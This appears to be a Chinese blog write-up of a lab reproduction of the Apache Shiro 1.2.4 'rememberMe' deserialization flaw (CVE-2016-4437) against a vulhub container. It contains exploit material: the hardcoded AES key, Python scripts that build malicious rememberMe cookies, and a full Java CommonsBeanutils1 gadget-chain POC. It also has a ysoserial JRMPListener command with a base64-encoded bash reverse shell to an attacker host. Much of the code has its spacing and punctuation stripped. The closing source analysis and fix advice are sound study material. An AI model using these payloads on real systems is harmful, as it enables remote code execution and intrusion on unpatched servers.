首页 / 资讯中心 / 文章详情

Shiro550(CVE-2016-4437)漏洞复现记录

Shiro550(CVE-2016-4437)漏洞复现记录 ★ FEATURED ARTICLE
Shiro550(CVE-2016-4437)Apache Shiro 1.2.4 及以下版本存在反序列化漏洞攻击者可利用硬编码密钥构造恶意序列化数据执行任意命令。漏洞原理本质Shiro 的 “记住我”RememberMe功能在服务端处理 Cookie 时会依次执行Base64解码 → AES解密 → 反序列化。由于 AES 加密密钥被硬编码在框架源码中攻击者可利用已知密钥构造恶意 Cookie触发反序列化漏洞最终实现远程代码执行RCE核心问题硬编码密钥默认密钥 kPHbIxk5D2deZiIxcaaaA 写死在代码中危险反序列化“ObjectInputStream.readObject() 无任何过滤或白名单校验环境搭建使用docker环境由于我的虚拟机网络总是出问题所以我先在物理机上下载好了镜像文件然后让虚拟机从物理机上获取镜像可以绕过虚拟机网络不好的问题加载镜像并启动环境在物理机浏览器中访问可以正常访问说明环境搭建成功vulhub搭建的环境登录账号密码是admin:vulhub漏洞复现工具复现全自动工具目标用ShiroExploit快速验证漏洞存在并使用工具拿到反弹shell注意推荐使用java8环境图形化界面需要 JavaFX 图形界面支持OpenJDK 17 或更高版本不再内置 JavaFX 库所以完整运行该工具的需要 Java 8 环境 或手动补充 JavaFX 依赖攻击机也需要使用java8运行ysoserial验证漏洞发现秘钥但是没能找到可以用的Gadget按理说Shiro 1.2.4 自带 commons-beanutils:1.8.3所以 CB 链理论上可用可能是版本兼容性问题上网查找可以使用的其他攻击发现shiro_tool.jar这款攻击可以用使用shiro_tool.jar进行探测成功发现多条Gadget链按照提示选一条Gatget执行命令touch /tmp/success在靶机环境中检查发现成功RCE尝试了好的方法都不行然后发现shiro-attack工具可以回显直接用该工具后来在后面发现时发现使用shiro_tool.jar不能实现反弹shell是因为选错了利用链应该选JRMPClient然后在攻击机9000端口启动一个RMI服务任何连接到这个服务的机器都会执行后面的反弹shell语句。java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9000 CommonsBeanutils1 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}然后在工具在输入攻击机的ip和监听的端口就能拿到反弹shell半自动工具ysoserial-all编写完整的python调用ysoserial加密编码脚本importsysimportuuidimportbase64importsubprocessfromCrypto.CipherimportAESdefencode_rememberme(command):popensubprocess.Popen([java,-jar,ysoserial-all.jar,JRMPClient,command],stdoutsubprocess.PIPE)BSAES.block_size padlambdas:s((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()keybase64.b64decode(kPHbIxk5D2deZiIxcaaaA)ivuuid.uuid4().bytesencryptorAES.new(key,AES.MODE_CBC,iv)file_bodypad(popen.stdout.read())base64_ciphertextbase64.b64encode(ivencryptor.encrypt(file_body))returnbase64_ciphertextif__name____main__:payloadencode_rememberme(sys.argv[1])print(rememberMe{0}.format(payload.decode()))继续在攻击机上用 ysoserial 开启JRMPListener监听9000端口然后通过burp抓包修改rememberme的值发送恶意rememberMe Cookie同样可以获得一个shell进一步减少自动化程度手工调用ysoserial生成序列化数据java -jar ysoserial-all.jar JRMPClient 192.168.137.129:9000 payload.ser然后编写python脚本实现加密编码import base64 from Crypto.Cipher import AES import uuid BS AES.block_size KEY kPHbIxk5D2deZiIxcaaaA FILEPATH payload.ser with open(FILEPATH, rb) as f: data f.read() def manual_pad(data): pad_len BS - (len(data) % BS) if pad_len 0: pad_len BS pad bytes([pad_len]) * pad_len return data pad iv uuid.uuid4().bytes b64key base64.b64decode(KEY) cipher AES.new(b64key, AES.MODE_CBC, iv) paddata manual_pad(data) encrypted cipher.encrypt(paddata) result iv encrypted b64_result base64.b64encode(result).decode() print(frememberMe{b64_result})依旧可以获得反弹shell不过经过我多次测试发现每次都需要重新生成payload.ser然后重新加密编码得到的payload才好用深入分析数据处理流程正常流程服务端处理 rememberMe CookieCookie值 → Base64解码 → AES解密 → 反序列化 → 获取用户信息攻击流程恶意命令 → 序列化 → AES加密 → Base64编码 → 构造rememberMe Cookie → 发送源码追踪环境搭建网上下载shiro1.2.4源码放到idea中找到 samples/web 模块这是一个示例 Web 应用然后添加 Servlet API 依赖【因为源码中的依赖还是旧版本可能影响调试所有直接改成新版本】 配置 Tomcat,打包 Shiro Web 应用,部署到Tomcat但是遇到jsp编译和依赖问题换成jetty插件运行搭建好环境后访问查看可以正常访问在 VSCode 中打开源码并下断点然后输入用户名密码点击rememberme触发调试看到运行jerry的终端输出信息获取cookiebase64解码AES解密将解密后的序列化数据进行反序列化然后创建一个session会话使用python脚本调用ysoserial生成一个执行简单RCE的序列化加密数据发送给服务端观察堆栈调用情况在vscode中观察堆栈调用信息可以看到是经典的CB1链CookieRememberMeManager.getRememberedSerializedIdentity()← 获取并解码Cookie↓AbstractRememberMeManager.decrypt()←AES解密 ↓AbstractRememberMeManager.deserialize()← 调用反序列化 ↓DefaultSerializer.deserialize()← 进入readObject()↓ObjectInputStream.readObject()← 触发Gadget链 ↓PriorityQueue.readObject()←CB链开始 ↓BeanComparator类加载 ← 发现 serialVersionUID 不匹配 → 抛出异常手工复现关键点最好手动反射设置TemplatesImpl对象的_class字段为null虽然我在学校CB1链时手工编写poc没有手动设置_class字段为null也可以成功对象是新创建的利用链的代码通常会通过 new TemplatesImpl() 来创建一个全新的对象。在这个新对象中_class 属性的初始值本来就是 null但在某些更复杂的利用链中情况就不一样了。比如 Jdk7u21 链。TemplatesImpl 对象可能被复用在这种利用方式中恶意 TemplatesImpl 对象可能不是新创建的而是从一个已有的、序列化过的数据流中反序列化得到的。_class 已有旧值如果之前 _class 字段已经有值比如上一次反序列化时加载的旧字节码那么它就不是 null。在反序列化时这个旧值会被还原。这时if (_class null) 的条件就不成立了defineTransletClasses() 就不会再执行新 _bytecodes 也就永远不会被加载利用链就会失败。因此为了保险起见直接手动设置构造BeanComparator时先设置Property为null然后反射修改为outputProperties构造PriorityQueue时先add(1)然后反射修改队列中的对象为TemplatesImpl对象完整POCpackagecom.example;importjava.io.FileOutputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.PriorityQueue;importjava.util.Queue;importorg.apache.commons.beanutils.BeanComparator;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importjavassist.*;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;publicclassShiro550{publicstaticvoidmain(String[]args)throwsException{ClassPoolpoolClassPool.getDefault();pool.insertClassPath(newClassClassPath(AbstractTranslet.class));CtClassccpool.makeClass(Evil);Stringcmdjava.lang.Runtime.getRuntime().exec(\touch /tmp/mannul\);;cc.makeClassInitializer().insertBefore(cmd);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));StringrenameEvilSystem.nanoTime();cc.setName((rename));byte[]bytescc.toBytecode();byte[][]targetnewbyte[][]{bytes};TemplatesImpltemplatesnewTemplatesImpl();Fieldnametemplates.getClass().getDeclaredField(_name);name.setAccessible(true);name.set(templates,test);FieldbyteCodestemplates.getClass().getDeclaredField(_bytecodes);byteCodes.setAccessible(true);byteCodes.set(templates,target);FieldclassFieldtemplates.getClass().getDeclaredField(_class);classField.setAccessible(true);classField.set(templates,null);Fieldtfactorytemplates.getClass().getDeclaredField(_tfactory);tfactory.setAccessible(true);tfactory.set(templates,newcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());BeanComparatorcomparatornewBeanComparator(null);PriorityQueuepqnewPriorityQueue(2,comparator);pq.add(1);pq.add(1);FieldqFieldpq.getClass().getDeclaredField(queue);qField.setAccessible(true);Object[]q(Object[])qField.get(pq);q[0]templates;q[1]templates;FieldproFieldcomparator.getClass().getDeclaredField(property);proField.setAccessible(true);proField.set(comparator,outputProperties);FileOutputStreamfosnewFileOutputStream(payload.ser);ObjectOutputStreamoosnewObjectOutputStream(fos);oos.writeObject(pq);oos.close();}}编写python脚本将payload.ser中的内容进行base64编码然后AES加密importbase64fromCrypto.CipherimportAESimportuuid BSAES.block_size KEYkPHbIxk5D2deZiIxcaaaAFILEPATH./shiro550demo/payload.serwithopen(FILEPATH,rb)asf:dataf.read()defmanual_pad(data):pad(BS-len(data)%BS)*bytes((BS-len(data)%BS))payloaddatapadreturnpayload ivuuid.uuid4().bytesb64keybase64.b64decode(KEY)cipherAES.new(b64key,AES.MODE_CBC,iv)paddatamanual_pad(data)encryptedcipher.encrypt(paddata)b64encryptedbase64.b64encode(encrypted)print(b64encrypted)将生成的加密编码后的payload发送给靶机然后到靶机容器中检查是否能实现简单RCE发现成功RCE创建了文件/tmp/mannul修复方案更新shiro到1.2.4以上的版本。不使用默认的加密密钥改为随机生成密钥
阅读完成 · 觉得有帮助?
咨询建站